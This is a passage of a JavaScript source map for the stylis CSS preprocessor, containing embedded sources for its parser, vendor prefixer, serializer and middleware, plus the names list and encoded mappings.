:\n\t\t\tcase 58:\n\t\t\t\tlength = 1 + strlen(characters), property = previous\n\t\t\tdefault:\n\t\t\t\tif (variable < 1)\n\t\t\t\t\tif (character == 123)\n\t\t\t\t\t\t--variable\n\t\t\t\t\telse if (character == 125 && variable++ == 0 && prev() == 125)\n\t\t\t\t\t\tcontinue\n\n\t\t\t\tswitch (characters += from(character), character * variable) {\n\t\t\t\t\t// &\n\t\t\t\t\tcase 38:\n\t\t\t\t\t\tampersand = offset > 0 ? 1 : (characters += '\\f', -1)\n\t\t\t\t\t\tbreak\n\t\t\t\t\t// ,\n\t\t\t\t\tcase 44:\n\t\t\t\t\t\tpoints[index++] = (strlen(characters) - 1) * ampersand, ampersand = 1\n\t\t\t\t\t\tbreak\n\t\t\t\t\t// @\n\t\t\t\t\tcase 64:\n\t\t\t\t\t\t// -\n\t\t\t\t\t\tif (peek() === 45)\n\t\t\t\t\t\t\tcharacters += delimit(next())\n\n\t\t\t\t\t\tatrule = peek(), offset = length = strlen(type = characters += identifier(caret())), character++\n\t\t\t\t\t\tbreak\n\t\t\t\t\t// -\n\t\t\t\t\tcase 45:\n\t\t\t\t\t\tif (previous === 45 && strlen(characters) == 2)\n\t\t\t\t\t\t\tvariable = 0\n\t\t\t\t}\n\t\t}\n\n\treturn rulesets\n}\n\n/**\n * @param {string} value\n * @param {object} root\n * @param {object?} parent\n * @param {number} index\n * @param {number} offset\n * @param {string[]} rules\n * @param {number[]} points\n * @param {string} type\n * @param {string[]} props\n * @param {string[]} children\n * @param {number} length\n * @return {object}\n */\nexport function ruleset (value, root, parent, index, offset, rules, points, type, props, children, length) {\n\tvar post = offset - 1\n\tvar rule = offset === 0 ? rules : ['']\n\tvar size = sizeof(rule)\n\n\tfor (var i = 0, j = 0, k = 0; i < index; ++i)\n\t\tfor (var x = 0, y = substr(value, post + 1, post = abs(j = points[i])), z = value; x < size; ++x)\n\t\t\tif (z = trim(j > 0 ? rule[x] + ' ' + y : replace(y, /&\\f/g, rule[x])))\n\t\t\t\tprops[k++] = z\n\n\treturn node(value, root, parent, offset === 0 ? RULESET : type, props, children, length)\n}\n\n/**\n * @param {number} value\n * @param {object} root\n * @param {object?} parent\n * @return {object}\n */\nexport function comment (value, root, parent) {\n\treturn node(value, root, parent, COMMENT, from(char()), substr(value, 2, -2), 0)\n}\n\n/**\n * @param {string} value\n * @param {object} root\n * @param {object?} parent\n * @param {number} length\n * @return {object}\n */\nexport function declaration (value, root, parent, length) {\n\treturn node(value, root, parent, DECLARATION, substr(value, 0, length), substr(value, length + 1, -1), length)\n}\n","import {MS, MOZ, WEBKIT} from './Enum.js'\nimport {hash, charat, strlen, indexof, replace, substr, match} from './Utility.js'\n\n/**\n * @param {string} value\n * @param {number} length\n * @param {object[]} children\n * @return {string}\n */\nexport function prefix (value, length, children) {\n\tswitch (hash(value, length)) {\n\t\t// color-adjust\n\t\tcase 5103:\n\t\t\treturn WEBKIT + 'print-' + value + value\n\t\t// animation, animation-(delay|direction|duration|fill-mode|iteration-count|name|play-state|timing-function)\n\t\tcase 5737: case 4201: case 3177: case 3433: case 1641: case 4457: case 2921:\n\t\t// text-decoration, filter, clip-path, backface-visibility, column, box-decoration-break\n\t\tcase 5572: case 6356: case 5844: case 3191: case 6645: case 3005:\n\t\t// mask, mask-image, mask-(mode|clip|size), mask-(repeat|origin), mask-position, mask-composite,\n\t\tcase 6391: case 5879: case 5623: case 6135: case 4599: case 4855:\n\t\t// background-clip, columns, column-(count|fill|gap|rule|rule-color|rule-style|rule-width|span|width)\n\t\tcase 4215: case 6389: case 5109: case 5365: case 5621: case 3829:\n\t\t\treturn WEBKIT + value + value\n\t\t// tab-size\n\t\tcase 4789:\n\t\t\treturn MOZ + value + value\n\t\t// appearance, user-select, transform, hyphens, text-size-adjust\n\t\tcase 5349: case 4246: case 4810: case 6968: case 2756:\n\t\t\treturn WEBKIT + value + MOZ + value + MS + value + value\n\t\t// writing-mode\n\t\tcase 5936:\n\t\t\tswitch (charat(value, length + 11)) {\n\t\t\t\t// vertical-l(r)\n\t\t\t\tcase 114:\n\t\t\t\t\treturn WEBKIT + value + MS + replace(value, /[svh]\\w+-[tblr]{2}/, 'tb') + value\n\t\t\t\t// vertical-r(l)\n\t\t\t\tcase 108:\n\t\t\t\t\treturn WEBKIT + value + MS + replace(value, /[svh]\\w+-[tblr]{2}/, 'tb-rl') + value\n\t\t\t\t// horizontal(-)tb\n\t\t\t\tcase 45:\n\t\t\t\t\treturn WEBKIT + value + MS + replace(value, /[svh]\\w+-[tblr]{2}/, 'lr') + value\n\t\t\t\t// default: fallthrough to below\n\t\t\t}\n\t\t// flex, flex-direction, scroll-snap-type, writing-mode\n\t\tcase 6828: case 4268: case 2903:\n\t\t\treturn WEBKIT + value + MS + value + value\n\t\t// order\n\t\tcase 6165:\n\t\t\treturn WEBKIT + value + MS + 'flex-' + value + value\n\t\t// align-items\n\t\tcase 5187:\n\t\t\treturn WEBKIT + value + replace(value, /(\\w+).+(:[^]+)/, WEBKIT + 'box-$1$2' + MS + 'flex-$1$2') + value\n\t\t// align-self\n\t\tcase 5443:\n\t\t\treturn WEBKIT + value + MS + 'flex-item-' + replace(value, /flex-|-self/g, '') + (!match(value, /flex-|baseline/) ? MS + 'grid-row-' + replace(value, /flex-|-self/g, '') : '') + value\n\t\t// align-content\n\t\tcase 4675:\n\t\t\treturn WEBKIT + value + MS + 'flex-line-pack' + replace(value, /align-content|flex-|-self/g, '') + value\n\t\t// flex-shrink\n\t\tcase 5548:\n\t\t\treturn WEBKIT + value + MS + replace(value, 'shrink', 'negative') + value\n\t\t// flex-basis\n\t\tcase 5292:\n\t\t\treturn WEBKIT + value + MS + replace(value, 'basis', 'preferred-size') + value\n\t\t// flex-grow\n\t\tcase 6060:\n\t\t\treturn WEBKIT + 'box-' + replace(value, '-grow', '') + WEBKIT + value + MS + replace(value, 'grow', 'positive') + value\n\t\t// transition\n\t\tcase 4554:\n\t\t\treturn WEBKIT + replace(value, /([^-])(transform)/g, '$1' + WEBKIT + '$2') + value\n\t\t// cursor\n\t\tcase 6187:\n\t\t\treturn replace(replace(replace(value, /(zoom-|grab)/, WEBKIT + '$1'), /(image-set)/, WEBKIT + '$1'), value, '') + value\n\t\t// background, background-image\n\t\tcase 5495: case 3959:\n\t\t\treturn replace(value, /(image-set\\([^]*)/, WEBKIT + '$1' + '$`$1')\n\t\t// justify-content\n\t\tcase 4968:\n\t\t\treturn replace(replace(value, /(.+:)(flex-)?(.*)/, WEBKIT + 'box-pack:$3' + MS + 'flex-pack:$3'), /s.+-b[^;]+/, 'justify') + WEBKIT + value + value\n\t\t// justify-self\n\t\tcase 4200:\n\t\t\tif (!match(value, /flex-|baseline/)) return MS + 'grid-column-align' + substr(value, length) + value\n\t\t\tbreak\n\t\t// grid-template-(columns|rows)\n\t\tcase 2592: case 3360:\n\t\t\treturn MS + replace(value, 'template-', '') + value\n\t\t// grid-(row|column)-start\n\t\tcase 4384: case 3616:\n\t\t\tif (children && children.some(function (element, index) { return length = index, match(element.props, /grid-\\w+-end/) })) {\n\t\t\t\treturn ~indexof(value + (children = children[length].value), 'span') ? value : (MS + replace(value, '-start', '') + value + MS + 'grid-row-span:' + (~indexof(children, 'span') ? match(children, /\\d+/) : +match(children, /\\d+/) - +match(value, /\\d+/)) + ';')\n\t\t\t}\n\t\t\treturn MS + replace(value, '-start', '') + value\n\t\t// grid-(row|column)-end\n\t\tcase 4896: case 4128:\n\t\t\treturn (children && children.some(function (element) { return match(element.props, /grid-\\w+-start/) })) ? value : MS + replace(replace(value, '-end', '-span'), 'span ', '') + value\n\t\t// (margin|padding)-inline-(start|end)\n\t\tcase 4095: case 3583: case 4068: case 2532:\n\t\t\treturn replace(value, /(.+)-inline(.+)/, WEBKIT + '$1$2') + value\n\t\t// (min|max)?(width|height|inline-size|block-size)\n\t\tcase 8116: case 7059: case 5753: case 5535:\n\t\tcase 5445: case 5701: case 4933: case 4677:\n\t\tcase 5533: case 5789: case 5021: case 4765:\n\t\t\t// stretch, max-content, min-content, fill-available\n\t\t\tif (strlen(value) - 1 - length > 6)\n\t\t\t\tswitch (charat(value, length + 1)) {\n\t\t\t\t\t// (m)ax-content, (m)in-content\n\t\t\t\t\tcase 109:\n\t\t\t\t\t\t// -\n\t\t\t\t\t\tif (charat(value, length + 4) !== 45)\n\t\t\t\t\t\t\tbreak\n\t\t\t\t\t// (f)ill-available, (f)it-content\n\t\t\t\t\tcase 102:\n\t\t\t\t\t\treturn replace(value, /(.+:)(.+)-([^]+)/, '$1' + WEBKIT + '$2-$3' + '$1' + MOZ + (charat(value, length + 3) == 108 ? '$3' : '$2-$3')) + value\n\t\t\t\t\t// (s)tretch\n\t\t\t\t\tcase 115:\n\t\t\t\t\t\treturn ~indexof(value, 'stretch') ? prefix(replace(value, 'stretch', 'fill-available'), length, children) + value : value\n\t\t\t\t}\n\t\t\tbreak\n\t\t// grid-(column|row)\n\t\tcase 5152: case 5920:\n\t\t\treturn replace(value, /(.+?):(\\d+)(\\s*\\/\\s*(span)?\\s*(\\d+))?(.*)/, function (_, a, b, c, d, e, f) { return (MS + a + ':' + b + f) + (c ? (MS + a + '-span:' + (d ? e : +e - +b)) + f : '') + value })\n\t\t// position: sticky\n\t\tcase 4949:\n\t\t\t// stick(y)?\n\t\t\tif (charat(value, length + 6) === 121)\n\t\t\t\treturn replace(value, ':', ':' + WEBKIT) + value\n\t\t\tbreak\n\t\t// display: (flex|inline-flex|grid|inline-grid)\n\t\tcase 6444:\n\t\t\tswitch (charat(value, charat(value, 14) === 45 ? 18 : 11)) {\n\t\t\t\t// (inline-)?fle(x)\n\t\t\t\tcase 120:\n\t\t\t\t\treturn replace(value, /(.+:)([^;\\s!]+)(;|(\\s+)?!.+)?/, '$1' + WEBKIT + (charat(value, 14) === 45 ? 'inline-' : '') + 'box$3' + '$1' + WEBKIT + '$2$3' + '$1' + MS + '$2box$3') + value\n\t\t\t\t// (inline-)?gri(d)\n\t\t\t\tcase 100:\n\t\t\t\t\treturn replace(value, ':', ':' + MS) + value\n\t\t\t}\n\t\t\tbreak\n\t\t// scroll-margin, scroll-margin-(top|right|bottom|left)\n\t\tcase 5719: case 2647: case 2135: case 3927: case 2391:\n\t\t\treturn replace(value, 'scroll-', 'scroll-snap-') + value\n\t}\n\n\treturn value\n}\n","import {IMPORT, LAYER, COMMENT, RULESET, DECLARATION, KEYFRAMES} from './Enum.js'\nimport {strlen, sizeof} from './Utility.js'\n\n/**\n * @param {object[]} children\n * @param {function} callback\n * @return {string}\n */\nexport function serialize (children, callback) {\n\tvar output = ''\n\tvar length = sizeof(children)\n\n\tfor (var i = 0; i < length; i++)\n\t\toutput += callback(children[i], i, children, callback) || ''\n\n\treturn output\n}\n\n/**\n * @param {object} element\n * @param {number} index\n * @param {object[]} children\n * @param {function} callback\n * @return {string}\n */\nexport function stringify (element, index, children, callback) {\n\tswitch (element.type) {\n\t\tcase LAYER: if (element.children.length) break\n\t\tcase IMPORT: case DECLARATION: return element.return = element.return || element.value\n\t\tcase COMMENT: return ''\n\t\tcase KEYFRAMES: return element.return = element.value + '{' + serialize(element.children, callback) + '}'\n\t\tcase RULESET: element.value = element.props.join(',')\n\t}\n\n\treturn strlen(children = serialize(element.children, callback)) ? element.return = element.value + '{' + children + '}' : ''\n}\n","import {MS, MOZ, WEBKIT, RULESET, KEYFRAMES, DECLARATION} from './Enum.js'\nimport {match, charat, substr, strlen, sizeof, replace, combine} from './Utility.js'\nimport {copy, tokenize} from './Tokenizer.js'\nimport {serialize} from './Serializer.js'\nimport {prefix} from './Prefixer.js'\n\n/**\n * @param {function[]} collection\n * @return {function}\n */\nexport function middleware (collection) {\n\tvar length = sizeof(collection)\n\n\treturn function (element, index, children, callback) {\n\t\tvar output = ''\n\n\t\tfor (var i = 0; i < length; i++)\n\t\t\toutput += collection[i](element, index, children, callback) || ''\n\n\t\treturn output\n\t}\n}\n\n/**\n * @param {function} callback\n * @return {function}\n */\nexport function rulesheet (callback) {\n\treturn function (element) {\n\t\tif (!element.root)\n\t\t\tif (element = element.return)\n\t\t\t\tcallback(element)\n\t}\n}\n\n/**\n * @param {object} element\n * @param {number} index\n * @param {object[]} children\n * @param {function} callback\n */\nexport function prefixer (element, index, children, callback) {\n\tif (element.length > -1)\n\t\tif (!element.return)\n\t\t\tswitch (element.type) {\n\t\t\t\tcase DECLARATION: element.return = prefix(element.value, element.length, children)\n\t\t\t\t\treturn\n\t\t\t\tcase KEYFRAMES:\n\t\t\t\t\treturn serialize([copy(element, {value: replace(element.value, '@', '@' + WEBKIT)})], callback)\n\t\t\t\tcase RULESET:\n\t\t\t\t\tif (element.length)\n\t\t\t\t\t\treturn combine(element.props, function (value) {\n\t\t\t\t\t\t\tswitch (match(value, /(::plac\\w+|:read-\\w+)/)) {\n\t\t\t\t\t\t\t\t// :read-(only|write)\n\t\t\t\t\t\t\t\tcase ':read-only': case ':read-write':\n\t\t\t\t\t\t\t\t\treturn serialize([copy(element, {props: [replace(value, /:(read-\\w+)/, ':' + MOZ + '$1')]})], callback)\n\t\t\t\t\t\t\t\t// :placeholder\n\t\t\t\t\t\t\t\tcase '::placeholder':\n\t\t\t\t\t\t\t\t\treturn serialize([\n\t\t\t\t\t\t\t\t\t\tcopy(element, {props: [replace(value, /:(plac\\w+)/, ':' + WEBKIT + 'input-$1')]}),\n\t\t\t\t\t\t\t\t\t\tcopy(element, {props: [replace(value, /:(plac\\w+)/, ':' + MOZ + '$1')]}),\n\t\t\t\t\t\t\t\t\t\tcopy(element, {props: [replace(value, /:(plac\\w+)/, MS + 'input-$1')]})\n\t\t\t\t\t\t\t\t\t], callback)\n\t\t\t\t\t\t\t}\n\n\t\t\t\t\t\t\treturn ''\n\t\t\t\t\t\t})\n\t\t\t}\n}\n\n/**\n * @param {object} element\n * @param {number} index\n * @param {object[]} children\n */\nexport function namespace (element) {\n\tswitch (element.type) {\n\t\tcase RULESET:\n\t\t\telement.props = element.props.map(function (value) {\n\t\t\t\treturn combine(tokenize(value), function (value, index, children) {\n\t\t\t\t\tswitch (charat(value, 0)) {\n\t\t\t\t\t\t// \\f\n\t\t\t\t\t\tcase 12:\n\t\t\t\t\t\t\treturn substr(value, 1, strlen(value))\n\t\t\t\t\t\t// \\0 ( + > ~\n\t\t\t\t\t\tcase 0: case 40: case 43: case 62: case 126:\n\t\t\t\t\t\t\treturn value\n\t\t\t\t\t\t// :\n\t\t\t\t\t\tcase 58:\n\t\t\t\t\t\t\tif (children[++index] === 'global')\n\t\t\t\t\t\t\t\tchildren[index] = '', children[++index] = '\\f' + substr(children[index], index = 1, -1)\n\t\t\t\t\t\t// \\s\n\t\t\t\t\t\tcase 32:\n\t\t\t\t\t\t\treturn index === 1 ? '' : value\n\t\t\t\t\t\tdefault:\n\t\t\t\t\t\t\tswitch (index) {\n\t\t\t\t\t\t\t\tcase 0: element = value\n\t\t\t\t\t\t\t\t\treturn sizeof(children) > 1 ? '' : value\n\t\t\t\t\t\t\t\tcase index = sizeof(children) - 1: case 2:\n\t\t\t\t\t\t\t\t\treturn index === 2 ? value + element + element : value + element\n\t\t\t\t\t\t\t\tdefault:\n\t\t\t\t\t\t\t\t\treturn value\n\t\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t})\n\t\t\t})\n\t}\n}\n"],"names":["MS","MOZ","WEBKIT","COMMENT","RULESET","DECLARATION","PAGE","MEDIA","IMPORT","CHARSET","VIEWPORT","SUPPORTS","DOCUMENT","NAMESPACE","KEYFRAMES","FONT_FACE","COUNTER_STYLE","FONT_FEATURE_VALUES","LAYER","abs","Math","from","String","fromCharCode","assign","Object","hash","value","length","charat","trim","match","pattern","exec","replace","replacement","indexof","search","indexOf","index","charCodeAt","substr","begin","end","slice","strlen","sizeof","append","array","push","combine","callback","map","join","line","column","position","character","characters","node","root","parent","type","props","children","return","copy","char","prev","next","peek","caret","token","alloc","dealloc","delimit","delimiter","tokenize","tokenizer","whitespace","identifier","escaping","count","commenter","compile","parse","rule","rules","rulesets","pseudo","points","declarations","offset","atrule","property","previous","variable","scanning","ampersand","reference","comment","declaration","ruleset","post","size","i","j","k","x","y","z","prefix","some","element","_","a","b","c","d","e","f","serialize","output","stringify","middleware","collection","rulesheet","prefixer","namespace"],"mappings":"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